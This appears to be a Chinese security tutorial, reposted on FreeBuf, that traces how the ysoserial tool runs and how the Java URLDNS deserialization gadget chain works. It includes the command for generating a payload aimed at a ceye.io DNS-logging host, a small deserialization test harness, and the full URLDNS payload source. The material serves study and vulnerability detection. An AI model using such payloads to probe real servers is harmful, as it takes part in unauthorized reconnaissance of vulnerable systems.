
URLdns链
ysoserial运行流程分析
https://github.com/frohoff/ysoserial/
下载后导入idea,
这里可以配置好需要的参数。
主类
首先如果不是两个参数,打印使用选项,退出。
是的话,把两个参数分别赋值给payloadType
,command
。
然后获取payloadType
的需要继承ObjectPayload类的Class类对象,
跟进Utils.getPayloadClass
这里反射得到了一个类对象,并通过一些if判断后将其返回。
因为反射参数是需要完整包名的,所以这里 clazz == null,然后将其拼接报名后,反射获取类对象。
反射将对象实例化,(ObjectPayload 类型是因为工具里 paylaod都继承于它)。
跟进getObject
方法,这里重写了ObjectPayload
的方法,然后返回ht
对象,这里ht对象是需要序列化的对象,具体利用稍后分析。
跟进Serializer.serialize
方法,这里知识工具写的自己的一个类,并不是JDK自带的。
这里是将传进来的 对象序列化,然后打印出来,这里打印出来的就是我们需要的payload。
这里再跟进一下,之后的代码就收尾了。
直接返回,
URLDNS使用
URLDNS这条利用链并不依赖于第三方的类库,是JDK中内置的一些类的方法,所以作为漏洞检测来说是一个较好的方法。
打包 jar 包,
mvn clean package -DskipTests
生成序列化payload ,写进 payload.txt,
java8 -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://1o447t.ceye.io" > payload.txt
测试demo:
package urldns;
import java.io.*;
public class URLDNSTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.txt"));
objectInputStream.readObject();
}
}
成功收到DNS请求,也就是说payload执行成功。
URLDNS链分析
ysoserial 中已经给出其利用链,
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
我们从POC
在调试一遍objectInputStream.readObject();
下断点,继续跟进readObject
方法,因为这是JDK原生方法,所以强制步入。
这里跟进readObject0
方法。
获取序列化数据的第一个字符 115。
如果是对象的反序列化,这里tc=115,即0x73,所以走下面的TC_OBJECT。
跟进readOrdinaryObject
readClassDesc
读取类的描述信息,
checkDeserialize
是否能够反序列化,不能的话抛出异常。
desc.newInstance()
实例化对象,此时对象的属性为空,
readSerialData
进行对象属性赋值。
然后一步步调用到HashMap
的 readObject 方法,我们直接打断点。
跟进hash
方法,
跟进key.hashCode()
,key为一个URL对象,
继续跟进hashCode
方法,
跟进getHostAddress
InetAddress.getByName(host);
成功触发dns请求,
整个链,
HashMap:readObject -->
HashMap:hash -->
URL:hashCode -->
URLStreamHandler:hashCode -->
URLStreamHandle:getHostAddress -->
InetAddress:getByName
思考
在构造poc的时候按理说也会执行相应的流程,产生DNS请求,这样会在实际中产生混淆。
看看ysoserial中是如何避免的,
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
这里作者自己写了一个类,继承URLStreamHandler
并重写getHostAddress
方法,而这个方法恰巧是触发DNS请求的关键。
触发点是put
方法,打断点,跟进,参数为 一个URL对象和 url字符串,
注意:前方作者 new 了一个SilentURLStreamHandler
对象,并将其作为参数传入URL构造方法,使得transient URLStreamHandler handler;
被赋值。
跟进hash
方法, key 为属性为我们传入的 url的 URL对象,
跟进hashCode
方法,
这里hashCode
初始值为 -1 ,所以跳过if,
private int hashCode = -1;
继续跟进handler.hashCode
,这里 handler 即为上边的SilentURLStreamHandler
对象,
transient URLStreamHandler handler;
SilentURLStreamHandler
没有重写hashCode
方法,所以跳入URLStreamHandler
的hashCode
方法,这里先得到 URL 的协议 http ,然后计算其hashcode,
跟进getHostAddress
,注意这里SilentURLStreamHandler
重写了getHostAddress
方法,也就是说会跳进重写的方法里,
所以这里生成poc是不会产生 dns 请求。
那为什么反序列化时产生了dns请求,不会走重写的getHostAddress
的方法呢?
java中的transient
关键字,是短暂的意思。对于transient
修饰的成员变量,在序列化处理过程中会被忽略。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)